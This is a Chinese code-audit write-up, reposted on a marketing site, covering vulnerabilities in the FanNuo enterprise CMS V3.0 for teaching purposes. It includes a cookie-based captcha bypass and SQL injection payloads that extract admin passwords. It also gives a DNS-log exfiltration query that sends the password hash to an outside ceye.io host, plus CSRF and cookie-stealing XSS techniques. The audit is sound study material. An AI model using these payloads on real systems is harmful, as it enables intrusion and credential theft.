0×00 前言
大家好,我是掌控安全學(xué)院的聶風(fēng),在此,我做一個(gè)代碼審計(jì)的文章分享來方便同學(xué)們學(xué)習(xí)。我逛了逛CNVD,發(fā)現(xiàn)有一個(gè)叫做凡諾企業(yè)網(wǎng)站管理系統(tǒng)的后臺(tái)SQL注入,5月30日發(fā)布,到7月中旬" />

国产成人精品无码青草_亚洲国产美女精品久久久久∴_欧美人与鲁交大毛片免费_国产果冻豆传媒麻婆精东

18143453325 在線咨詢 在線咨詢
18143453325 在線咨詢
所在位置: 首頁 > 營銷資訊 > 網(wǎng)站運(yùn)營 > 凡諾企業(yè)網(wǎng)站管理系統(tǒng)V3.0代碼審計(jì)

凡諾企業(yè)網(wǎng)站管理系統(tǒng)V3.0代碼審計(jì)

時(shí)間:2023-05-03 10:06:02 | 來源:網(wǎng)站運(yùn)營

時(shí)間:2023-05-03 10:06:02 來源:網(wǎng)站運(yùn)營

凡諾企業(yè)網(wǎng)站管理系統(tǒng)V3.0代碼審計(jì):
0×00 前言
大家好,我是掌控安全學(xué)院的聶風(fēng),在此,我做一個(gè)代碼審計(jì)的文章分享來方便同學(xué)們學(xué)習(xí)。我逛了逛CNVD,發(fā)現(xiàn)有一個(gè)叫做凡諾企業(yè)網(wǎng)站管理系統(tǒng)的后臺(tái)SQL注入,5月30日發(fā)布,到7月中旬已經(jīng)20多萬的點(diǎn)擊量,位列CNVD點(diǎn)擊量的第三名,這次代碼審計(jì)決定通讀全文來審計(jì)該CMS.

0×01 環(huán)境搭建
Phpstudy
fannuo_php_3.0免費(fèi)版源碼(http://www.pcfinal.cn/channel/ecms.html
代碼審計(jì)工具(Seay源代碼審計(jì)系統(tǒng))

0×02 代碼審計(jì)過程
源碼放入網(wǎng)站根目錄,然后去訪問Web地址,然后自動(dòng)跳轉(zhuǎn)到了安裝界面,來分析分析源碼。
第一開始訪問到的是install/index.php文件,這個(gè)文件包含了函數(shù)庫
include(‘../system/library.php’);
然后開始細(xì)細(xì)讀取代碼,發(fā)現(xiàn)我們填入的數(shù)據(jù)會(huì)直接寫入/system/data.php
于是乎突發(fā)奇想,想試試能不能直接插入一句話木馬,結(jié)果CMS的開發(fā)也考慮到了這個(gè)問題,


如果連接失敗的的時(shí)候,寫入的東西都在注釋中,于是乎就想跳出注釋,嘗試了好多方法都沒解決,然后就放棄這里了,安裝這個(gè)文件頗為簡單,就是將正確的數(shù)據(jù)庫連接什么的寫入data.php,然后將默認(rèn)數(shù)據(jù)導(dǎo)入數(shù)據(jù)庫,且將index.php重命名為index.lock。
默認(rèn)賬號(hào)密碼:admin admin
安裝完畢后,我們打開根目錄index.php這個(gè)文件



包含 inc.php和 safe.php
這里有個(gè)自定義函數(shù)ism() 查看了一下,實(shí)際上是返回一個(gè)false,那么這里就是包含了$dir.$t_path.index.php
我們?nèi)タ纯磇nc.php里面有什么吧
Inc.php作用:
$dir = __FILE__
包含system目錄下的四個(gè)文件
conn.php、library.php、config.php、function.php
conn.php作用:
設(shè)置了時(shí)區(qū)、編碼,開啟了session,緩沖激活(ob_start),然后文件包含了data.php,就是數(shù)據(jù)庫的連接配置文件。然后選擇了數(shù)據(jù)庫,指定了數(shù)據(jù)庫格式是utf-8.
Config作用:
從數(shù)據(jù)庫中的cms_system表中取id=1得數(shù)據(jù),然后賦值給各種變量,然后執(zhí)行數(shù)據(jù)庫查詢語句,會(huì)將cms_system中得到的s_template、
s_mtemplate 兩個(gè)字段值 一個(gè)是1 還有一個(gè)是m1 ,然后將這兩個(gè)數(shù)值作為t_path字段的條件去查詢cms_template。好吧,里面只是一些圖片而已,是Logo。 1代表電腦模板1 ,m1代表手機(jī)模板2,然后又定義了各種各樣函數(shù)(這個(gè)地方記錄一下,如果cms_system表中的s_template、s_mtemplate字段可以控制的話,那就有可能存在一個(gè)二次注入)
里面還定義了 $t_mpath =/template/m1/
Library.php和Function.php定義各種各樣的函數(shù)(遇到函數(shù)跳過去就行,到時(shí)候用到來查)
那么我們現(xiàn)在知道了

$t_mpath =/template/m1/ $t_path =/template/1 $dir = __FILE__ $dir.$t_path.index.php => __FILE__/template/1/index.php
我們?cè)倏纯磗afe.php這個(gè)文件
一打開就是三個(gè)正則,是對(duì)GET|POST|Cookie傳參的過濾,感覺是過濾SQL注入和XSS的
$getfilter="'|(and|or)//b.+?(>|<|=|in|like)|/////*.+?//*///|<//s*script//b|//bEXEC//b|UNION.+?SELECT|UPDATE.+?SET|INSERT//s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)//s+(TABLE|DATABASE)"; $postfilter="//b(and|or)//b.{1,6}?(=|>|<|//bin//b|//blike//b)|/////*.+?//*///|<//s*script//b|//bEXEC//b|UNION.+?SELECT|UPDATE.+?SET|INSERT//s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)//s+(TABLE|DATABASE)"; $cookiefilter="//b(and|or)//b.{1,6}?(=|>|<|//bin//b|//blike//b)|/////*.+?//*///|<//s*script//b|//bEXEC//b|UNION.+?SELECT|UPDATE.+?SET|INSERT//s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)//s+(TABLE|DATABASE)";
先不分析,先看完這個(gè)文件吧(這個(gè)是360的通用防護(hù))
定義了一個(gè)函數(shù),StopAttack ,當(dāng)正則匹配到了就輸出非法操作,然后匹配不分大小寫,任意匹配不匹配換行(/n),然后怎么匹配就看上面的正則了。
這個(gè)安全機(jī)制我覺得可以繞過,因?yàn)椴粌H僅是存在GET POST COOKIE 傳參,還有一些IP agent-User之類的也可能會(huì)去獲取,那么這里獲取這些豈不是就可以繞過安全限制了(ip我看了,他居然有檢測,Ip不用想了,用了 ip2long,如果返回False就設(shè)定ip為0.0.0.0)
我們來查看$dir.$t_path.index.php => __FILE__/template/1/index.php (這個(gè)頁面HTML和PHP混合頁面)
然后看到了第10行的<?php include($dir.$t_path.’inc_head.php’);?> 包含了inc_head.php文件
Inc_head.php里面實(shí)際上是一些Js和css腳本地址的定義,是由$s_path來控制的,如果我們控制的了這個(gè),那么可以嘗試打一個(gè)XSS 。
然后又是一個(gè)文件包含
include($dir.$t_path.'inc_header.php')
于是乎查看下inc_header.php這個(gè)文件(就是個(gè)頁面頂部構(gòu)成,就是查詢cms_channel表里面的數(shù)據(jù),然后輸出,數(shù)據(jù)就是模塊標(biāo)題什么的)
然后后面第53行那個(gè)語句也差不多,只是換了一個(gè)表cms_slideshow
然后81行我看到了第一個(gè)表單,GET請(qǐng)求search.php
看到下面還去查詢了cms_detail的數(shù)據(jù)然后輸出
還有cms_link也有輸出
看到318行又是喜聞樂見的文件包含
<?php include($dir.$t_path.'inc_footer.php');?>
Inc_footer.php文件里面也沒啥有營養(yǎng)的東西,留了一個(gè)網(wǎng)站的導(dǎo)航,咦~第19行居然調(diào)用了第一個(gè)函數(shù)get_chip(1) 有點(diǎn)小興奮,我們?nèi)タ纯此歉墒裁吹?,趕緊的找一找,在Config.php文件的第110行被定義。
他去查詢cms_chip表里面的數(shù)據(jù),然后輸出c_content字段的值
后面就沒什么東西了,我們算是看完了這整個(gè)index.php文件,然后我們收獲了什么,遇到的東西都記錄下?
$s_path 決定的href的鏈接方向(Js css ),可控制就代表構(gòu)建XSS
有輸出的表(如果能改里面數(shù)據(jù)就可能有XSS):
cms_slideshow
cms_channel
cms_detail
cms_link
get_chip() 函數(shù)我能控制值就能嘗試SQL注入(拿好小本本記錄下)
然后我們?nèi)タ催@文件吧
search.php (注:我們這里是index包含文件中西得search.php的表單地址,那么相對(duì)路徑是index.php的同級(jí)目錄,我這里差點(diǎn)沒注意,因?yàn)閕ndex.php包含的文章中有template文件夾下面1的index.php,那個(gè)文件夾內(nèi)也有search.php)
這個(gè)文件還是老一套的包含inc.php和system/safe.php
然后GET接受Key的傳參,然后賦值給$key 然后調(diào)用template/1/search.php。
然后文件執(zhí)行SQL語句
$sql = 'select id,d_name,d_picture,d_scontent,d_date from cms_detail where d_name like "%'.$key.'%" order by d_order desc , id desc';
我嘗試構(gòu)建了語句發(fā)現(xiàn)(我現(xiàn)在是先刪除了Safe.php文件的)
select id,d_name,d_picture,d_scontent,d_date from cms_detail where d_name like "%1%/"order by d_order desc , id desc and sleep(5) -- %" order by d_order desc , id desc limit 0,20
咦?怎么會(huì)有轉(zhuǎn)譯符號(hào),魔術(shù)引號(hào)我沒有開呀,那就開始排查吧。我找到search.php,在文件最上面寫輸出$key,輸出的時(shí)候已經(jīng)被轉(zhuǎn)譯了,經(jīng)過測試,發(fā)現(xiàn)是inc.php文件造成的,仔細(xì)找了找,我在system中的livrary.php文件中的第35行看到了(這個(gè)CMS感覺安全性很強(qiáng)呀?。?br>



用了這么個(gè)函數(shù)addslashes_deep() 這是個(gè)自定義函數(shù),在library.php的第47行



如果是數(shù)組,就拆分開來執(zhí)行,反正就是要執(zhí)行addslashes() 只能依靠編碼了,如果繞過了編碼那么safe那個(gè)文件的正則也能繞過。
好吧,我們接著會(huì)search.php文件,下面就是一個(gè)分頁和時(shí)間,完全沒有辦法呀
我們看看關(guān)于我們這個(gè)板塊吧channel.php
這文件也沒什么亮點(diǎn),唯獨(dú)就是cms_channel的$c_parent 和 $c_id 字段可以控制也可以嘗試二次注入
最下面是讀取頻道模型
c_article.php
c_article_d.php
c_article_w.php
c_picture.php
c_picture_d.php
c_picture_w.php
c_spage.php
我們看看關(guān)于我們這個(gè)板塊吧detail.php玩意
這里居然有一句更新語句:sql_query(‘update cms_detail set d_hits = d_hits + 1 where id = ‘.$_GET[‘id’].”);
好吧這玩意感覺沒用,但是如果能夠跳出safe.php和魔術(shù)引號(hào)還有non_numeric_back($_GET[‘id’],’非法字符’);
再看看feedback.php這個(gè)文件
如果$_POST觸發(fā)了Save 然后 接受了后插入數(shù)據(jù)庫,然后我們看了下輸入的數(shù)據(jù)會(huì)處理,clear_html函數(shù)進(jìn)行處理。
clear_html() 進(jìn)行好幾步處理,第一步,strip_tags() 去除所有html標(biāo)簽, trim()移出空格 preg_replace() 替換掉/f/n/r/t/v 為空,
利用arrtoinsert這個(gè)自定義函數(shù)將$_data 這個(gè)數(shù)組進(jìn)行處理,將數(shù)組轉(zhuǎn)換為insert語句的字符串。前臺(tái)留言似乎前臺(tái)看不到,數(shù)據(jù)庫f_ok來決定是否在前臺(tái)展示。
在看看sitemap.php文件,也沒用什么東西,我們只能去后臺(tái)看看吧
訪問admin文件夾,發(fā)現(xiàn)index.php直接跳轉(zhuǎn)到cms_login.php
它包含了cms_inc.php (這個(gè)文件包含了很多文件,其實(shí)就是最前面分析過的4個(gè),conn.php、library.php、config.php、function.php)
然后它寫了驗(yàn)證碼的機(jī)制
$_SESSION[‘verifycode’] != $_POST[‘verifycode’] 會(huì)報(bào)驗(yàn)證碼錯(cuò)誤
驗(yàn)證碼機(jī)制的核心是system下面的verifycode.php文件,開啟了session 然后創(chuàng)建了畫布,和顏色,然后通過一下代碼生成驗(yàn)證碼。
$str = '0123456789'; $rand_str = ''; for ($i = 0; $i < 4; $i++){ $k = mt_rand(1, strlen($str)); //選擇1-10 $rand_str .= $str[$k - 1]; } $_SESSION['verifycode'] = $rand_str;
Mt_rand 實(shí)際上是個(gè)偽隨機(jī)數(shù)我看看能不能算出來(算出來又有什么用?利用條件這么苛刻,沒有必要往這條路去走,我們跳過這里吧)
然后正常后臺(tái)登陸吧,看了校驗(yàn)機(jī)制。



登陸后會(huì)設(shè)置cookie,然后跳轉(zhuǎn)到cms_channel.php文件
然后查看cms_channel文件,有了重大發(fā)現(xiàn)






他原本每個(gè)文件都會(huì)包含./system/safe.php 這個(gè)文件,現(xiàn)在進(jìn)入后臺(tái)居然不再包含,而去包含cms__check.php。說明什么?安全問題的本質(zhì)是什么?是信任,這里很明顯是因?yàn)榈顷懞笈_(tái)的就認(rèn)定為管理員,然后開發(fā)信任管理員,將安全機(jī)制給去除了一部分。
然后本身包含inc也變?yōu)榱薱ms_inc.php
那如果說cms_in.php中沒有魔術(shù)引號(hào),且cms_check.php沒有防護(hù)代碼,那么后臺(tái)不就很危險(xiǎn)了,然后我們嘗試用CSRF,然后配合DNS log 注入。(完美)
走走走走~開車了~我們?nèi)タ纯碿ms_inc.php



他包含了幾個(gè)文件,和inc差不多,唯一區(qū)別就是inc.php有這樣一句話
$dir = dirname(__FILE__);
我們?nèi)ふ乙幌耹ivrary.php文件中的第35行,沒事了,魔術(shù)引號(hào)還在。
我們?nèi)タ纯碿ms__check.php這個(gè)文件吧,這文件就是一個(gè)檢測Cookie的文件,他的檢測機(jī)制還有點(diǎn)好玩~



每次訪問頁面居然直接通過cookie中的傳參去查詢數(shù)據(jù)庫,那么我們是不是相當(dāng)于這里繞過了驗(yàn)證碼?
我們?cè)诜堑顷憼顟B(tài),然后直接訪問admin文件夾下面的cms_channel.php,然后填充Cookie



然后放包過去,然后成功的訪問成功了



成功進(jìn)入后臺(tái),這里審計(jì)出了第一個(gè)邏輯漏洞,驗(yàn)證碼可繞過,我們嘗試把密碼放在字典里面,拿Burp去跑包試試看能不能。



拿md5的字典去跑



很明顯,密碼跑出來了,解密下密碼就是admin
找到第一個(gè)漏洞,邏輯漏洞-驗(yàn)證碼可繞過
感覺自己心情好了很多,之前看他的前臺(tái),看的好難受的,沒想到后臺(tái)一看就找到問題了。
來,我們繼續(xù)回到cms_Channel.php



看到第三行,這里有個(gè)SQL語句,然后似乎del語句本身的傳參,就沒有引號(hào),我們是不是可以直接SQL注入?



我嘗試了一下報(bào)錯(cuò)了。

http://192.168.32.138/admin/cms_channel.php?del=123456 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)




直接sqlmap能跑出來,報(bào)錯(cuò)注入和盲注
我偷懶了,直接貼sqlmap的payload吧
http://192.168.32.138:80/admin/cms_channel.php?del=123456 OR ROW(9594,6255)>(SELECT COUNT(*),CONCAT(0x716b766b71,(SELECT MID((IFNULL(CAST(a_password AS CHAR),0x20)),1,54) FROM fr.cms_admin ORDER BY a_password),0x71767a6b71,FLOOR(RAND(0)*2))x FROM (SELECT 8439 UNION SELECT 7584 UNION SELECT 8267 UNION SELECT 7159)a GROUP BY x)



密碼被炸出來了,感覺美滋滋
那么后臺(tái)怎么炸?其實(shí)可以多考慮一點(diǎn),如果存在CSRF的話我們可以用CSRF配合dns log注入。Dns log注入語句構(gòu)建完畢(有魔術(shù)引號(hào)怕啥,我有16進(jìn)制)(這里要Mysql的 load_file可以用)

http://192.168.32.138:80/admin/cms_channel.php?del=123456 and LOAD_FILE(CONCAT(0x5c5c5c5c,(SELECT a_password from cms_admin limit 0,1),0x2e6870307a79722e636579652e696f5c5c616263));




CSRF這個(gè)漏洞肯定存在,我到現(xiàn)在沒有看到任何CSRF防護(hù)代碼。



直接寫一個(gè)img標(biāo)簽,然后藏在哪個(gè)網(wǎng)站首頁,管理員去點(diǎn)擊就中招



直接出密碼了,這SQL注入還是有利用的意義的?。?!
第二個(gè)漏洞,SQL注入
然后過了這塊代碼吧,del那個(gè)地方也是有問題的。
然后查看第22行的包含(沒啥東西)
<?php include('./cms_inc_head.php') ?>
然后查看第25行和第64行的包含都沒啥東西。
然后我們?nèi)タ纯雌渌募?br>看看cms_admin.php文件
這個(gè)文件第8行又出現(xiàn)了這樣的語句



這里是什么情況,這個(gè)確定不是再逗我么?
判斷傳參是否存在,傳參存在就執(zhí)行彈窗。傳參不存在執(zhí)行else部分。。。
這個(gè)地方寫的很有問題。。。這個(gè)刪除功能是失效的。
看到第30行



很明顯,我們控制住a_tname傳參就可以嘗試SQL注入,我把這個(gè)代碼單獨(dú)拿了出來



很明顯我們可以構(gòu)建a_tname的傳參就可以控制SQL注入。
a_tname= bbb" and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1) --+
但是這有魔術(shù)引號(hào),看來是不行了。
查看現(xiàn)有頁面,發(fā)現(xiàn)輸出



可以嘗試存儲(chǔ)型XSS









輕松的獲取Cookie



依靠CSRF,可以直接打后臺(tái)XSS偷取管理員的Cookie。
我們?cè)倏纯碿ms_admin_edit.php文件



這里很明顯有個(gè)id傳參。這里應(yīng)該可以SQL注入,我也就直接Sqlmap了吧



這個(gè)地方也可以配合CSRF+Dns log來獲取密碼
第40行也有問題






這里還能聯(lián)合查詢呢

0×03 總結(jié)
其實(shí)該CMS所存在的漏洞不僅僅只有這些,我文章中的這些也只是一個(gè)拋磚引玉,只是為了闡述通讀全文的審計(jì)方法,如果我文章中有什么寫的可以再改進(jìn)的地方,可以隨時(shí)聯(lián)系我!謝謝大家花費(fèi)了時(shí)間來讀在下的粗鄙小文,謝謝大家。

登錄安全客 - 有思想的安全新媒體http://www.anquanke.com/,或加入交流群814450983、下載安全客APP來獲取更多最新資訊吧~

原文鏈接:

凡諾企業(yè)網(wǎng)站管理系統(tǒng)V3.0代碼審計(jì) - 安全客,安全資訊平臺(tái)

關(guān)鍵詞:系統(tǒng),管理,企業(yè)

74
73
25
news

版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。

為了最佳展示效果,本站不支持IE9及以下版本的瀏覽器,建議您使用谷歌Chrome瀏覽器。 點(diǎn)擊下載Chrome瀏覽器
關(guān)閉